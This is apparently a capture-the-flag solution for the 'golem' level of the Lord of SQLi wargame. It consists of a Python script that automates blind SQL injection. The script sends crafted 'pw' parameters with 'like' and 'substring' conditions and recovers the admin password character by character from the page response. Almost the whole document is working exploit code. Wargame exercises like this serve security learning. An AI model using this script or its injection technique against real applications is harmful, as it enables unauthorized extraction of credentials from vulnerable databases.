[LOS] - golem - 190825

1. golem.py

import requests
 
URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
password = ''
index=0
 
while True:
        
        isit = False
        index += 1
        print('[+]Finding Password index : %d'%index)
        for i in range(0x26, 0x7f):
                # ' || id like 'admin' %26%26 length(pw) like 8 %23
                query = '\' || id like \'admin\' && substring(pw,' + str(index) + ',1) like \'' + chr(i) + '\'#'
 
                paramDic ={
                        'pw':
                        query  
                        }
                print('[*]Sending Query : %s'%query)
                headers = {'Content-Type': 'application/json; charset=utf-8'}
                cookies = {'PHPSESSID':'sessionID'}
                
                response = requests.get(URL, params=paramDic, headers=headers, cookies=cookies)
                
                if "Hello admin" in response.text:
                        password += chr(i)
                        isit = True        
                        print('[+]Find Password : %s Index : %d' %(chr(i), index))
                        break
        if isit is False:
                break
        
print('[+]Password : %s'%password)